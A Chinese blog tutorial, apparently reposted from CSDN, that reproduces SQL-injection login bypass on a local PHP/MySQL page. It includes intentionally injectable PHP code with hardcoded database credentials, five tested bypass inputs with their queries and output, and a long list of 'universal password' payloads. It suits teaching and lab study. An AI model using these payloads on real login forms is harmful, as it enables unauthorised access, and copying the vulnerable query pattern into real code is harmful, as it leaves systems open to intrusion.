php+mysql复现登录验证绕过

一、简述

所谓登录验证绕过即在进行身份验证时,使用一些特殊的字符,绕过身份认证,从而成功登陆。

登陆验证绕过可分别从用户名和密码两处进行绕过。

二、绕过原理

万能密码绕过的原理是利用逻辑关系 and、or以及SQL语言的注释符,来达到绕过验证的目的。

尤其注意:SQL中,优先级 and > or
因此,当有语句:a > b and a > c or 1=1时,是将其从or处分成两部分,先进行两边判断,然后再判断or。

  • 例如,在php代码中构造的SQL语句如下:
$sql = "SELECT passwd FROM user WHERE username = '{$_POST["username"]}' and passwd = '{$_POST["passwd"]}';";

执行该语句可在数据库中查询是否有符合用户输入的用户名密码的记录,若有则登陆成功。

  • 当用户输入正常用户名:root、密码:admin时,执行的SQL语句是这样的:
SELECT passwd FROM user WHERE username = 'root' and passwd = 'admin';

在这里插入图片描述

  • 而当用户输入非法用户名:' or 1=1 # 密码:任意时,执行的SQL查询语句是这样的:
SELECT passwd FROM user WHERE username = '' or 1=1 #' and passwd = '111';

在这里插入图片描述
这样就可以绕过验证,成功登陆。

三、代码实现

HTML实现前端的输入并提交表单;php代码实现后台接收数据并查询数据库。

  • HTML代码(index.html):
<!DOCTYPE html>
<html lang="en">
<head>
	<meta charset="UTF-8">
	<title>Login</title>
</head>
<body>
	<form action="sqlInjection.php" method="POST">
		Username:<input type="text" name="username" id="1">
		Password:<input type="text" name="passwd" id="2">
		<button type="submit">提交</button>
	</form>
</body>
</html>
  • php代码(sqlInjection.php):
<?php 
	$serverName = "127.0.0.1:3306";
	$username = "root";
	$passwd = "root";
	$dbName = "php_test";
	
	$conn = mysqli_connect($serverName, $username, $passwd, $dbName);
	if(!$conn)
		die("数据库连接失败!" . mysql_error());
	// 接收表单内容
	$username = $_POST["username"];
	$passwd = $_POST["passwd"];
	// 生成SQL语句
	$sql = "SELECT passwd FROM user WHERE username = '{$username}' and passwd = '{$passwd}';";
	// SQL查询
	$result = mysqli_query($conn, $sql);
	// 判断是否有符合条件的行
	if(mysqli_num_rows($result) <= 0){
		echo "————————————账号或密码错误————————————";
	}
	else
		echo "————————————登陆成功————————————";
	// 输出本次查询的SQL语句
	echo "<br/><br/>";
	echo "SQL语句:", $sql;
	mysqli_close($conn);
 ?>
  • 数据库内容:

在这里插入图片描述

MariaDB [php_test]> select * from user;
+----+----------+----------+
| id | username | passwd   |
+----+----------+----------+
|  1 | admin    | admin    |
|  2 | msfadmin | msfadmin |
+----+----------+----------+
2 rows in set (0.006 sec)

四、绕过测试

  1. 账户:' or 1=1 #
    密码:任意

单引号用于闭合前边的单引号,or 1 = 1用于创建永真式,# 使其后边语句为注释。

  • 原理不尽相同。

在这里插入图片描述
结果:

————————————登陆成功————————————

SQL语句:SELECT passwd FROM user WHERE username = '' or 1=1 #' and passwd = '111';

在这里插入图片描述

  1. 账户:' /*
    密码:*/ or '1' = '1
————————————登陆成功————————————

SQL语句:SELECT passwd FROM user WHERE username = '' /* ' and passwd = '*/ or '1' = '1';
  1. 账户:' or 1=1 --
    密码:任意
————————————登陆成功————————————

SQL语句:SELECT passwd FROM user WHERE username = '' or 1=1 -- ' and passwd = '111';
  1. 账户:admin' or '1=1
    密码:任意
————————————登陆成功————————————

SQL语句:SELECT passwd FROM user WHERE username = 'admin' or '1=1' and passwd = '111';
  1. 账户:任意
    密码:' or '1'='1
————————————登陆成功————————————

SQL语句:SELECT passwd FROM user WHERE username = '111' and passwd = '' or '1'='1';

同类语句还有很多,不再一一示例。

网络上的万能密码有:

‘or 1=1/*
"or “a”="a
“or 1=1–
“or”=”
“or”="a’=‘a
“or1=1–
“or=or”
'‘or’=‘or’
‘) or (‘a’=‘a
‘.).or.(’.a.’=’.a
'or 1=1
'or 1=1–
'or 1=1/*
'or”="a’=‘a
‘or’ ‘1’=‘1’
‘or’’=’
‘or’’=’‘or’’=’
‘or’=‘1’
‘or’=‘or’
'or.‘a.’='a
‘or1=1–
1’or’1’=‘1
a’or’ 1=1–
a’or’1=1–
or ‘a’=‘a’
or 1=1–
or1=1–

发布了88 篇原创文章 · 获赞 121 · 访问量 1万+

猜你喜欢

转载自blog.csdn.net/qq_43968080/article/details/103441268